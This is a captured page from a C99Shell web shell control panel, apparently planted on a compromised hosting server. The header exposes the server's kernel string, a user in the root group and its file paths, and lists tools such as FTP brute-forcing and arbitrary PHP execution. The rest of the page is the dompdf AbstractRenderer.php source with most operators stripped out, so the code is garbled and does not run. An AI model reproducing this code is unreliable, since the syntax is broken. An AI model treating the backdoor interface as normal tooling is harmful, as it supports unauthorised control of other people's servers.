!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/dompdf/dompdf/src/Renderer/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AbstractRenderer.php (40.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package dompdf
 * @link    https://github.com/dompdf/dompdf
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace Dompdf\Renderer;

use 
Dompdf\Adapter\CPDF;
use 
Dompdf\Css\Color;
use 
Dompdf\Css\Style;
use 
Dompdf\Dompdf;
use 
Dompdf\Helpers;
use 
Dompdf\Frame;
use 
Dompdf\Image\Cache;

/**
 * Base renderer class
 *
 * @package dompdf
 */
abstract class AbstractRenderer
{

    
/**
     * Rendering backend
     *
     * @var \Dompdf\Canvas
     */
    
protected $_canvas;

    
/**
     * Current dompdf instance
     *
     * @var Dompdf
     */
    
protected $_dompdf;

    
/**
     * Class constructor
     *
     * @param Dompdf $dompdf The current dompdf instance
     */
    
function __construct(Dompdf $dompdf)
    {
        
$this->_dompdf $dompdf;
        
$this->_canvas $dompdf->getCanvas();
    }

    
/**
     * Render a frame.
     *
     * Specialized in child classes
     *
     * @param Frame $frame The frame to render
     */
    
abstract function render(Frame $frame);

    
/**
     * @param Frame   $frame
     * @param float[] $border_box
     */
    
protected function _render_background(Frame $frame, array $border_box): void
    
{
        
$style $frame->get_style();
        
$color $style->background_color;
        
$image $style->background_image;
        [
$x$y$w$h] = $border_box;

        if (
$color === "transparent" && $image === "none") {
            return;
        }

        if (
$style->has_border_radius()) {
            [
$tl$tr$br$bl] = $style->resolve_border_radius($border_box);
            
$this->_canvas->clipping_roundrectangle($x$y$w$h$tl$tr$br$bl);
        }

        if (
$color !== "transparent") {
            
$this->_canvas->filled_rectangle($x$y$w$h$color);
        }

        if (
$image !== "none") {
            
$this->_background_image($image$x$y$w$h$style);
        }

        if (
$style->has_border_radius()) {
            
$this->_canvas->clipping_end();
        }
    }

    
/**
     * @param Frame   $frame
     * @param float[] $border_box
     * @param string  $corner_style
     */
    
protected function _render_border(Frame $frame, array $border_boxstring $corner_style "bevel"): void
    
{
        
$style $frame->get_style();
        
$bp $style->get_border_properties();
        [
$x$y$w$h] = $border_box;
        [
$tl$tr$br$bl] = $style->resolve_border_radius($border_box);

        
// Short-cut: If all the borders are "solid" with the same color and
        // style, and no radius, we'd better draw a rectangle
        
if ($bp["top"]["style"] === "solid" &&
            
$bp["top"] === $bp["right"] &&
            
$bp["right"] === $bp["bottom"] &&
            
$bp["bottom"] === $bp["left"] &&
            !
$style->has_border_radius()
        ) {
            
$props $bp["top"];
            if (
$props["color"] === "transparent" || $props["width"] <= 0) {
                return;
            }

            
$width = (float)$style->length_in_pt($props["width"]);
            
$this->_canvas->rectangle($x $width 2$y $width 2$w $width$h $width$props["color"], $width);
            return;
        }

        
// Do it the long way
        
$widths = [
            (float)
$style->length_in_pt($bp["top"]["width"]),
            (float)
$style->length_in_pt($bp["right"]["width"]),
            (float)
$style->length_in_pt($bp["bottom"]["width"]),
            (float)
$style->length_in_pt($bp["left"]["width"])
        ];

        foreach (
$bp as $side => $props) {
            if (
$props["style"] === "none" ||
                
$props["style"] === "hidden" ||
                
$props["color"] === "transparent" ||
                
$props["width"] <= 0
            
) {
                continue;
            }

            [
$x$y$w$h] = $border_box;
            
$method "_border_" $props["style"];

            switch (
$side) {
                case 
"top":
                    
$length $w;
                    
$r1 $tl;
                    
$r2 $tr;
                    break;

                case 
"bottom":
                    
$length $w;
                    
$y += $h;
                    
$r1 $bl;
                    
$r2 $br;
                    break;

                case 
"left":
                    
$length $h;
                    
$r1 $tl;
                    
$r2 $bl;
                    break;

                case 
"right":
                    
$length $h;
                    
$x += $w;
                    
$r1 $tr;
                    
$r2 $br;
                    break;

                default:
                    break;
            }

            
// draw rounded corners
            
$this->$method($x$y$length$props["color"], $widths$side$corner_style$r1$r2);
        }
    }

    
/**
     * @param Frame   $frame
     * @param float[] $border_box
     * @param string  $corner_style
     */
    
protected function _render_outline(Frame $frame, array $border_boxstring $corner_style "bevel"): void
    
{
        
$style $frame->get_style();

        
$width $style->outline_width;
        
$outline_style $style->outline_style;
        
$color $style->outline_color;

        if (
$outline_style === "none" || $color === "transparent" || $width <= 0) {
            return;
        }

        
$offset $style->outline_offset;

        [
$x$y$w$h] = $border_box;
        
$d $width $offset;
        
$outline_box = [$x $d$y $d$w $d 2$h $d 2];
        [
$tl$tr$br$bl] = $style->resolve_border_radius($border_box$outline_box);

        
$x -= $offset;
        
$y -= $offset;
        
$w += $offset 2;
        
$h += $offset 2;

        
// For a simple outline, we can draw a rectangle
        
if ($outline_style === "solid" && !$style->has_border_radius()) {
            
$x -= $width 2;
            
$y -= $width 2;
            
$w += $width;
            
$h += $width;

            
$this->_canvas->rectangle($x$y$w$h$color$width);
            return;
        }

        
$x -= $width;
        
$y -= $width;
        
$w += $width 2;
        
$h += $width 2;

        
$method "_border_" $outline_style;
        
$widths array_fill(04$width);
        
$sides = ["top""right""left""bottom"];

        foreach (
$sides as $side) {
            switch (
$side) {
                case 
"top":
                    
$length $w;
                    
$side_x $x;
                    
$side_y $y;
                    
$r1 $tl;
                    
$r2 $tr;
                    break;

                case 
"bottom":
                    
$length $w;
                    
$side_x $x;
                    
$side_y $y $h;
                    
$r1 $bl;
                    
$r2 $br;
                    break;

                case 
"left":
                    
$length $h;
                    
$side_x $x;
                    
$side_y $y;
                    
$r1 $tl;
                    
$r2 $bl;
                    break;

                case 
"right":
                    
$length $h;
                    
$side_x $x $w;
                    
$side_y $y;
                    
$r1 $tr;
                    
$r2 $br;
                    break;

                default:
                    break;
            }

            
$this->$method($side_x$side_y$length$color$widths$side$corner_style$r1$r2);
        }
    }

    
/**
     * Render a background image over a rectangular area
     *
     * @param string $url    The background image to load
     * @param float  $x      The left edge of the rectangular area
     * @param float  $y      The top edge of the rectangular area
     * @param float  $width  The width of the rectangular area
     * @param float  $height The height of the rectangular area
     * @param Style  $style  The associated Style object
     *
     * @throws \Exception
     */
    
protected function _background_image($url$x$y$width$height$style)
    {
        if (!
function_exists("imagecreatetruecolor")) {
            throw new 
\Exception("The PHP GD extension is required, but is not installed.");
        }

        
$sheet $style->get_stylesheet();

        
// Skip degenerate cases
        
if ($width == || $height == 0) {
            return;
        }

        
$box_width $width;
        
$box_height $height;

        
//debugpng
        
if ($this->_dompdf->getOptions()->getDebugPng()) {
            print 
'[_background_image ' $url ']';
        }

        list(
$img$type/*$msg*/) = Cache::resolve_url(
            
$url,
            
$sheet->get_protocol(),
            
$sheet->get_host(),
            
$sheet->get_base_path(),
            
$this->_dompdf->getOptions()
        );

        
// Bail if the image is no good
        
if (Cache::is_broken($img)) {
            return;
        }

        
//Try to optimize away reading and composing of same background multiple times
        //Postponing read with imagecreatefrom   ...()
        //final composition parameters and name not known yet
        //Therefore read dimension directly from file, instead of creating gd object first.
        //$img_w = imagesx($src); $img_h = imagesy($src);

        
list($img_w$img_h) = Helpers::dompdf_getimagesize($img$this->_dompdf->getHttpContext());
        if (
$img_w == || $img_h == 0) {
            return;
        }

        
// save for later check if file needs to be resized.
        
$org_img_w $img_w;
        
$org_img_h $img_h;

        
$repeat $style->background_repeat;
        
$dpi $this->_dompdf->getOptions()->getDpi();

        
//Increase background resolution and dependent box size according to image resolution to be placed in
        //Then image can be copied in without resize
        
$bg_width round((float)($width $dpi) / 72);
        
$bg_height round((float)($height $dpi) / 72);

        list(
$img_w$img_h) = $this->_resize_background_image(
            
$img_w,
            
$img_h,
            
$bg_width,
            
$bg_height,
            
$style->background_size,
            
$dpi
        
);
        
//Need %bg_x, $bg_y as background pos, where img starts, converted to pixel

        
list($bg_x$bg_y) = $style->background_position;

        if (
Helpers::is_percent($bg_x)) {
            
// The point $bg_x % from the left edge of the image is placed
            // $bg_x % from the left edge of the background rectangle
            
$p = ((float)$bg_x) / 100.0;
            
$x1 $p $img_w;
            
$x2 $p $bg_width;

            
$bg_x $x2 $x1;
        } else {
            
$bg_x = (float)($style->length_in_pt($bg_x) * $dpi) / 72;
        }

        
$bg_x round($bg_x + (float)$style->length_in_pt($style->border_left_width) * $dpi 72);

        if (
Helpers::is_percent($bg_y)) {
            
// The point $bg_y % from the left edge of the image is placed
            // $bg_y % from the left edge of the background rectangle
            
$p = ((float)$bg_y) / 100.0;
            
$y1 $p $img_h;
            
$y2 $p $bg_height;

            
$bg_y $y2 $y1;
        } else {
            
$bg_y = (float)($style->length_in_pt($bg_y) * $dpi) / 72;
        }

        
$bg_y round($bg_y + (float)$style->length_in_pt($style->border_top_width) * $dpi 72);

        
//clip background to the image area on partial repeat. Nothing to do if img off area
        //On repeat, normalize start position to the tile at immediate left/top or 0/0 of area
        //On no repeat with positive offset: move size/start to have offset==0
        //Handle x/y Dimensions separately

        
if ($repeat !== "repeat" && $repeat !== "repeat-x") {
            
//No repeat x
            
if ($bg_x 0) {
                
$bg_width $img_w $bg_x;
            } else {
                
$x += ($bg_x 72) / $dpi;
                
$bg_width $bg_width $bg_x;
                if (
$bg_width $img_w) {
                    
$bg_width $img_w;
                }
                
$bg_x 0;
            }

            if (
$bg_width <= 0) {
                return;
            }

            
$width = (float)($bg_width 72) / $dpi;
        } else {
            
//repeat x
            
if ($bg_x 0) {
                
$bg_x = -((-$bg_x) % $img_w);
            } else {
                
$bg_x $bg_x $img_w;
                if (
$bg_x 0) {
                    
$bg_x -= $img_w;
                }
            }
        }

        if (
$repeat !== "repeat" && $repeat !== "repeat-y") {
            
//no repeat y
            
if ($bg_y 0) {
                
$bg_height $img_h $bg_y;
            } else {
                
$y += ($bg_y 72) / $dpi;
                
$bg_height $bg_height $bg_y;
                if (
$bg_height $img_h) {
                    
$bg_height $img_h;
                }
                
$bg_y 0;
            }
            if (
$bg_height <= 0) {
                return;
            }
            
$height = (float)($bg_height 72) / $dpi;
        } else {
            
//repeat y
            
if ($bg_y 0) {
                
$bg_y = -((-$bg_y) % $img_h);
            } else {
                
$bg_y $bg_y $img_h;
                if (
$bg_y 0) {
                    
$bg_y -= $img_h;
                }
            }
        }

        
//Optimization, if repeat has no effect
        
if ($repeat === "repeat" && $bg_y <= && $img_h $bg_y >= $bg_height) {
            
$repeat "repeat-x";
        }

        if (
$repeat === "repeat" && $bg_x <= && $img_w $bg_x >= $bg_width) {
            
$repeat "repeat-y";
        }

        if ((
$repeat === "repeat-x" && $bg_x <= && $img_w $bg_x >= $bg_width) ||
            (
$repeat === "repeat-y" && $bg_y <= && $img_h $bg_y >= $bg_height)
        ) {
            
$repeat "no-repeat";
        }

        
// Avoid rendering identical background-image variants multiple times
        // This is not dependent of background color of box! .'_'.(is_array($bg_color) ? $bg_color["hex"] : $bg_color)
        // Note: Here, bg_* are the start values, not end values after going through the tile loops!

        
$key implode("_", [$bg_width$bg_height$img_w$img_h$bg_x$bg_y$repeat]);
        
// FIXME: This will fail when a file with that exact name exists in the
        // same directory, included in the document as regular image
        
$cpdfKey $img "_" $key;
        
$tmpFile Cache::getTempImage($img$key);
        
$cached = ($this->_canvas instanceof CPDF && $this->_canvas->get_cpdf()->image_iscached($cpdfKey))
            || (
$tmpFile !== null && file_exists($tmpFile));

        if (!
$cached) {
            
// img: image url string
            // img_w, img_h: original image size in px
            // width, height: box size in pt
            // bg_width, bg_height: box size in px
            // x, y: left/top edge of box on page in pt
            // start_x, start_y: placement of image relative to pattern
            // $repeat: repeat mode
            // $bg: GD object of result image
            // $src: GD object of original image

            // Create a new image to fit over the background rectangle
            
$bg imagecreatetruecolor($bg_width$bg_height);
            
$cpdfFromGd true;

            switch (
strtolower($type)) {
                case 
"png":
                    
$cpdfFromGd false;
                    
imagesavealpha($bgtrue);
                    
imagealphablending($bgfalse);
                    
$src = @imagecreatefrompng($img);
                    break;

                case 
"jpeg":
                    
$src = @imagecreatefromjpeg($img);
                    break;

                case 
"webp":
                    
$src = @imagecreatefromwebp($img);
                    break;

                case 
"gif":
                    
$src = @imagecreatefromgif($img);
                    break;

                case 
"bmp":
                    
$src = @Helpers::imagecreatefrombmp($img);
                    break;

                default:
                    return; 
// Unsupported image type
            
}

            if (
$src == null) {
                return;
            }

            if (
$img_w != $org_img_w || $img_h != $org_img_h) {
                
$newSrc imagescale($src$img_w$img_h);
                
imagedestroy($src);
                
$src $newSrc;
            }

            if (
$src == null) {
                return;
            }

            
//Background color if box is not relevant here
            //Non transparent image: box clipped to real size. Background non relevant.
            //Transparent image: The image controls the transparency and lets shine through whatever background.
            //However on transparent image preset the composed image with the transparency color,
            //to keep the transparency when copying over the non transparent parts of the tiles.
            
$ti imagecolortransparent($src);
            
$palletsize imagecolorstotal($src);

            if (
$ti >= && $ti $palletsize) {
                
$tc imagecolorsforindex($src$ti);
                
$ti imagecolorallocate($bg$tc['red'], $tc['green'], $tc['blue']);
                
imagefill($bg00$ti);
                
imagecolortransparent($bg$ti);
            }

            
//This has only an effect for the non repeatable dimension.
            //compute start of src and dest coordinates of the single copy
            
if ($bg_x 0) {
                
$dst_x 0;
                
$src_x = -$bg_x;
            } else {
                
$src_x 0;
                
$dst_x $bg_x;
            }

            if (
$bg_y 0) {
                
$dst_y 0;
                
$src_y = -$bg_y;
            } else {
                
$src_y 0;
                
$dst_y $bg_y;
            }

            
//For historical reasons exchange meanings of variables:
            //start_* will be the start values, while bg_* will be the temporary start values in the loops
            
$start_x $bg_x;
            
$start_y $bg_y;

            
// Copy regions from the source image to the background
            
if ($repeat === "no-repeat") {
                
// Simply place the image on the background
                
imagecopy($bg$src$dst_x$dst_y$src_x$src_y$img_w$img_h);

            } elseif (
$repeat === "repeat-x") {
                for (
$bg_x $start_x$bg_x $bg_width$bg_x += $img_w) {
                    if (
$bg_x 0) {
                        
$dst_x 0;
                        
$src_x = -$bg_x;
                        
$w $img_w $bg_x;
                    } else {
                        
$dst_x $bg_x;
                        
$src_x 0;
                        
$w $img_w;
                    }
                    
imagecopy($bg$src$dst_x$dst_y$src_x$src_y$w$img_h);
                }
            } elseif (
$repeat === "repeat-y") {

                for (
$bg_y $start_y$bg_y $bg_height$bg_y += $img_h) {
                    if (
$bg_y 0) {
                        
$dst_y 0;
                        
$src_y = -$bg_y;
                        
$h $img_h $bg_y;
                    } else {
                        
$dst_y $bg_y;
                        
$src_y 0;
                        
$h $img_h;
                    }
                    
imagecopy($bg$src$dst_x$dst_y$src_x$src_y$img_w$h);
                }
            } elseif (
$repeat === "repeat") {
                for (
$bg_y $start_y$bg_y $bg_height$bg_y += $img_h) {
                    for (
$bg_x $start_x$bg_x $bg_width$bg_x += $img_w) {
                        if (
$bg_x 0) {
                            
$dst_x 0;
                            
$src_x = -$bg_x;
                            
$w $img_w $bg_x;
                        } else {
                            
$dst_x $bg_x;
                            
$src_x 0;
                            
$w $img_w;
                        }

                        if (
$bg_y 0) {
                            
$dst_y 0;
                            
$src_y = -$bg_y;
                            
$h $img_h $bg_y;
                        } else {
                            
$dst_y $bg_y;
                            
$src_y 0;
                            
$h $img_h;
                        }
                        
imagecopy($bg$src$dst_x$dst_y$src_x$src_y$w$h);
                    }
                }
            } else {
                print 
'Unknown repeat!';
            }

            
imagedestroy($src);

            if (
$cpdfFromGd && $this->_canvas instanceof CPDF) {
                
// Skip writing temp file as the GD object is added directly
            
} else {
                
$tmpDir $this->_dompdf->getOptions()->getTempDir();
                
$tmpName = @tempnam($tmpDir"bg_dompdf_img_");
                @
unlink($tmpName);
                
$tmpFile "$tmpName.png";

                
imagepng($bg$tmpFile);
                
imagedestroy($bg);

                
Cache::addTempImage($img$tmpFile$key);
            }
        } else {
            
$bg null;
            
$cpdfFromGd $tmpFile === null;
        }

        if (
$this->_dompdf->getOptions()->getDebugPng()) {
            print 
'[_background_image ' $tmpFile ']';
        }

        
$this->_canvas->clipping_rectangle($x$y$box_width$box_height);

        
// When using cpdf and optimization to direct png creation from gd object is available,
        // don't create temp file, but place gd object directly into the pdf
        
if ($cpdfFromGd && $this->_canvas instanceof CPDF) {
            
// Note: CPDF_Adapter image converts y position
            
$this->_canvas->get_cpdf()->addImagePng($bg$cpdfKey$x$this->_canvas->get_height() - $y $height$width$height);

            if (isset(
$bg)) {
                
imagedestroy($bg);
            }
        } else {
            
$this->_canvas->image($tmpFile$x$y$width$height);
        }

        
$this->_canvas->clipping_end();
    }

    
// Border rendering functions

    /**
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param float   $r1
     * @param float   $r2
     */
    
protected function _border_dotted($x$y$length$color$widths$side$corner_style "bevel"$r1 0$r2 0)
    {
        
$this->_border_line($x$y$length$color$widths$side$corner_style"dotted"$r1$r2);
    }

    
/**
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param float   $r1
     * @param float   $r2
     */
    
protected function _border_dashed($x$y$length$color$widths$side$corner_style "bevel"$r1 0$r2 0)
    {
        
$this->_border_line($x$y$length$color$widths$side$corner_style"dashed"$r1$r2);
    }

    
/**
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param float   $r1
     * @param float   $r2
     */
    
protected function _border_solid($x$y$length$color$widths$side$corner_style "bevel"$r1 0$r2 0)
    {
        
$this->_border_line($x$y$length$color$widths$side$corner_style"solid"$r1$r2);
    }

    
/**
     * @param string $side
     * @param float  $ratio
     * @param float  $top
     * @param float  $right
     * @param float  $bottom
     * @param float  $left
     * @param float  $x
     * @param float  $y
     * @param float  $length
     * @param float  $r1
     * @param float  $r2
     */
    
protected function _apply_ratio($side$ratio$top$right$bottom$left, &$x, &$y, &$length, &$r1, &$r2)
    {
        switch (
$side) {
            case 
"top":
                
$r1 -= $left $ratio;
                
$r2 -= $right $ratio;
                
$x += $left $ratio;
                
$y += $top $ratio;
                
$length -= $left $ratio $right $ratio;
                break;

            case 
"bottom":
                
$r1 -= $right $ratio;
                
$r2 -= $left $ratio;
                
$x += $left $ratio;
                
$y -= $bottom $ratio;
                
$length -= $left $ratio $right $ratio;
                break;

            case 
"left":
                
$r1 -= $top $ratio;
                
$r2 -= $bottom $ratio;
                
$x += $left $ratio;
                
$y += $top $ratio;
                
$length -= $top $ratio $bottom $ratio;
                break;

            case 
"right":
                
$r1 -= $bottom $ratio;
                
$r2 -= $top $ratio;
                
$x -= $right $ratio;
                
$y += $top $ratio;
                
$length -= $top $ratio $bottom $ratio;
                break;

            default:
                return;
        }
    }

    
/**
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param float   $r1
     * @param float   $r2
     */
    
protected function _border_double($x$y$length$color$widths$side$corner_style "bevel"$r1 0$r2 0)
    {
        list(
$top$right$bottom$left) = $widths;

        
$third_widths = [$top 3$right 3$bottom 3$left 3];

        
// draw the outer border
        
$this->_border_solid($x$y$length$color$third_widths$side$corner_style$r1$r2);

        
$this->_apply_ratio($side3$top$right$bottom$left$x$y$length$r1$r2);

        
$this->_border_solid($x$y$length$color$third_widths$side$corner_style$r1$r2);
    }

    
/**
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param float   $r1
     * @param float   $r2
     */
    
protected function _border_groove($x$y$length$color$widths$side$corner_style "bevel"$r1 0$r2 0)
    {
        list(
$top$right$bottom$left) = $widths;

        
$half_widths = [$top 2$right 2$bottom 2$left 2];

        
$this->_border_inset($x$y$length$color$half_widths$side$corner_style$r1$r2);

        
$this->_apply_ratio($side0.5$top$right$bottom$left$x$y$length$r1$r2);

        
$this->_border_outset($x$y$length$color$half_widths$side$corner_style$r1$r2);
    }

    
/**
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param float   $r1
     * @param float   $r2
     */
    
protected function _border_ridge($x$y$length$color$widths$side$corner_style "bevel"$r1 0$r2 0)
    {
        list(
$top$right$bottom$left) = $widths;

        
$half_widths = [$top 2$right 2$bottom 2$left 2];

        
$this->_border_outset($x$y$length$color$half_widths$side$corner_style$r1$r2);

        
$this->_apply_ratio($side0.5$top$right$bottom$left$x$y$length$r1$r2);

        
$this->_border_inset($x$y$length$color$half_widths$side$corner_style$r1$r2);
    }

    
/**
     * @param $c
     * @return mixed
     */
    
protected function _tint($c)
    {
        if (!
is_numeric($c)) {
            return 
$c;
        }

        return 
min(1$c 0.16);
    }

    
/**
     * @param $c
     * @return mixed
     */
    
protected function _shade($c)
    {
        if (!
is_numeric($c)) {
            return 
$c;
        }

        return 
max(0$c 0.33);
    }

    
/**
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param float   $r1
     * @param float   $r2
     */
    
protected function _border_inset($x$y$length$color$widths$side$corner_style "bevel"$r1 0$r2 0)
    {
        switch (
$side) {
            case 
"top":
            case 
"left":
                
$shade array_map([$this"_shade"], $color);
                
$this->_border_solid($x$y$length$shade$widths$side$corner_style$r1$r2);
                break;

            case 
"bottom":
            case 
"right":
                
$tint array_map([$this"_tint"], $color);
                
$this->_border_solid($x$y$length$tint$widths$side$corner_style$r1$r2);
                break;

            default:
                return;
        }
    }

    
/**
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param float   $r1
     * @param float   $r2
     */
    
protected function _border_outset($x$y$length$color$widths$side$corner_style "bevel"$r1 0$r2 0)
    {
        switch (
$side) {
            case 
"top":
            case 
"left":
                
$tint array_map([$this"_tint"], $color);
                
$this->_border_solid($x$y$length$tint$widths$side$corner_style$r1$r2);
                break;

            case 
"bottom":
            case 
"right":
                
$shade array_map([$this"_shade"], $color);
                
$this->_border_solid($x$y$length$shade$widths$side$corner_style$r1$r2);
                break;

            default:
                return;
        }
    }

    
/**
     * Get the dash pattern and cap style for the given border style, width, and
     * line length.
     *
     * The base pattern is adjusted so that it fits the given line length
     * symmetrically.
     *
     * @param string $style
     * @param float  $width
     * @param float  $length
     *
     * @return array
     */
    
protected function dashPattern(string $stylefloat $widthfloat $length): array
    {
        if (
$style === "dashed") {
            
$w $width;

            if (
$length $w) {
                
$s $w;
            } else {
                
// Scale dashes and gaps
                
$r round($length $w);
                
$r $r === $r $r;
                
$s $length $r;
            }

            return [[
$s], "butt"];
        }

        if (
$style === "dotted") {
            
// Draw circles along the line
            // Round caps extend outwards by half line width, so a zero dash
            // width results in a circle
            
$gap $width <= 1;
            
$w = ($gap 1) * $width;

            if (
$length $w) {
                
$s $w;
            } else {
                
// Only scale gaps
                
$l $length $width;
                
$r max(round($l $w), 1);
                
$s $l $r;
            }

            return [[
0$s], "round"];
        }

        return [[], 
"butt"];
    }

    
/**
     * Draws a solid, dotted, or dashed line, observing the border radius
     *
     * @param float   $x
     * @param float   $y
     * @param float   $length
     * @param array   $color
     * @param float[] $widths
     * @param string  $side
     * @param string  $corner_style
     * @param string  $pattern_name
     * @param float   $r1
     * @param float   $r2
     */
    
protected function _border_line($x$y$length$color$widths$side$corner_style "bevel"$pattern_name "none"$r1 0$r2 0)
    {
        
/** used by $$side */
        
[$top$right$bottom$left] = $widths;
        
$width = $$side;

        
// No need to clip corners if border radius is large enough
        
$cornerClip $corner_style === "bevel" && ($r1 $width || $r2 $width);
        
$lineLength $length $r1 $r2;
        [
$pattern$cap] = $this->dashPattern($pattern_name$width$lineLength);

        
// Determine arc border radius for corner arcs
        
$halfWidth $width 2;
        
$ar1 max($r1 $halfWidth0);
        
$ar2 max($r2 $halfWidth0);

        
// Small angle adjustments to prevent the background from shining through
        
$adj1 $ar1 80;
        
$adj2 $ar2 80;

        
// Adjust line width and corner angles to account for the fact that
        // round caps extend outwards. The line is actually only shifted below,
        // not shortened, as otherwise the end dash (circle) will vanish
        // occasionally
        
$dl $cap === "round" $halfWidth 0;

        if (
$cap === "round" && $ar1 0) {
            
$adj1 -= rad2deg(asin($halfWidth $ar1));
        }
        if (
$cap === "round" && $ar2 0) {
            
$adj2 -= rad2deg(asin($halfWidth $ar2));
        }

        switch (
$side) {
            case 
"top":
                if (
$cornerClip) {
                    
$points = [
                        
$x$y,
                        
$x$y 1// Extend outwards to avoid gaps
                        
$x $length$y 1// Extend outwards to avoid gaps
                        
$x $length$y,
                        
$x $length max($right$r2), $y max($width$r2),
                        
$x max($left$r1), $y max($width$r1)
                    ];
                    
$this->_canvas->clipping_polygon($points);
                }

                
$y += $halfWidth;

                if (
$ar1 && $adj1 > -22.5) {
                    
$this->_canvas->arc($x $r1$y $ar1$ar1$ar190 $adj1135 $adj1$color$width$pattern$cap);
                }

                if (
$lineLength 0) {
                    
$this->_canvas->line($x $dl $r1$y$x $dl $length $r2$y$color$width$pattern$cap);
                }

                if (
$ar2 && $adj2 > -22.5) {
                    
$this->_canvas->arc($x $length $r2$y $ar2$ar2$ar245 $adj290 $adj2$color$width$pattern$cap);
                }
                break;

            case 
"bottom":
                if (
$cornerClip) {
                    
$points = [
                        
$x$y,
                        
$x$y 1// Extend outwards to avoid gaps
                        
$x $length$y 1// Extend outwards to avoid gaps
                        
$x $length$y,
                        
$x $length max($right$r2), $y max($width$r2),
                        
$x max($left$r1), $y max($width$r1)
                    ];
                    
$this->_canvas->clipping_polygon($points);
                }

                
$y -= $halfWidth;

                if (
$ar1 && $adj1 > -22.5) {
                    
$this->_canvas->arc($x $r1$y $ar1$ar1$ar1225 $adj1270 $adj1$color$width$pattern$cap);
                }

                if (
$lineLength 0) {
                    
$this->_canvas->line($x $dl $r1$y$x $dl $length $r2$y$color$width$pattern$cap);
                }

                if (
$ar2 && $adj2 > -22.5) {
                    
$this->_canvas->arc($x $length $r2$y $ar2$ar2$ar2270 $adj2315 $adj2$color$width$pattern$cap);
                }
                break;

            case 
"left":
                if (
$cornerClip) {
                    
$points = [
                        
$x$y,
                        
$x 1$y// Extend outwards to avoid gaps
                        
$x 1$y $length// Extend outwards to avoid gaps
                        
$x$y $length,
                        
$x max($width$r2), $y $length max($bottom$r2),
                        
$x max($width$r1), $y max($top$r1)
                    ];
                    
$this->_canvas->clipping_polygon($points);
                }

                
$x += $halfWidth;

                if (
$ar1 && $adj1 > -22.5) {
                    
$this->_canvas->arc($x $ar1$y $r1$ar1$ar1135 $adj1180 $adj1$color$width$pattern$cap);
                }

                if (
$lineLength 0) {
                    
$this->_canvas->line($x$y $dl $r1$x$y $dl $length $r2$color$width$pattern$cap);
                }

                if (
$ar2 && $adj2 > -22.5) {
                    
$this->_canvas->arc($x $ar2$y $length $r2$ar2$ar2180 $adj2225 $adj2$color$width$pattern$cap);
                }
                break;

            case 
"right":
                if (
$cornerClip) {
                    
$points = [
                        
$x$y,
                        
$x 1$y// Extend outwards to avoid gaps
                        
$x 1$y $length// Extend outwards to avoid gaps
                        
$x$y $length,
                        
$x max($width$r2), $y $length max($bottom$r2),
                        
$x max($width$r1), $y max($top$r1)
                    ];
                    
$this->_canvas->clipping_polygon($points);
                }

                
$x -= $halfWidth;

                if (
$ar1 && $adj1 > -22.5) {
                    
$this->_canvas->arc($x $ar1$y $r1$ar1$ar1$adj145 $adj1$color$width$pattern$cap);
                }

                if (
$lineLength 0) {
                    
$this->_canvas->line($x$y $dl $r1$x$y $dl $length $r2$color$width$pattern$cap);
                }

                if (
$ar2 && $adj2 > -22.5) {
                    
$this->_canvas->arc($x $ar2$y $length $r2$ar2$ar2315 $adj2360 $adj2$color$width$pattern$cap);
                }
                break;
        }

        if (
$cornerClip) {
            
$this->_canvas->clipping_end();
        }
    }

    
/**
     * @param float $opacity
     */
    
protected function _set_opacity(float $opacity): void
    
{
        if (
$opacity >= 0.0 && $opacity <= 1.0) {
            
$this->_canvas->set_opacity($opacity);
        }
    }

    
/**
     * @param float[] $box
     * @param string  $color
     * @param array   $style
     */
    
protected function _debug_layout($box$color "red"$style = [])
    {
        
$this->_canvas->rectangle($box[0], $box[1], $box[2], $box[3], Color::parse($color), 0.1$style);
    }

    
/**
     * @param float        $img_width
     * @param float        $img_height
     * @param float        $container_width
     * @param float        $container_height
     * @param array|string $bg_resize
     * @param int          $dpi
     *
     * @return array
     */
    
protected function _resize_background_image(
        
$img_width,
        
$img_height,
        
$container_width,
        
$container_height,
        
$bg_resize,
        
$dpi
    
) {
        
// We got two some specific numbers and/or auto definitions
        
if (is_array($bg_resize)) {
            
$is_auto_width $bg_resize[0] === 'auto';
            if (
$is_auto_width) {
                
$new_img_width $img_width;
            } else {
                
$new_img_width $bg_resize[0];
                if (
Helpers::is_percent($new_img_width)) {
                    
$new_img_width round(($container_width 100) * (float)$new_img_width);
                } else {
                    
$new_img_width round($new_img_width $dpi 72);
                }
            }

            
$is_auto_height $bg_resize[1] === 'auto';
            if (
$is_auto_height) {
                
$new_img_height $img_height;
            } else {
                
$new_img_height $bg_resize[1];
                if (
Helpers::is_percent($new_img_height)) {
                    
$new_img_height round(($container_height 100) * (float)$new_img_height);
                } else {
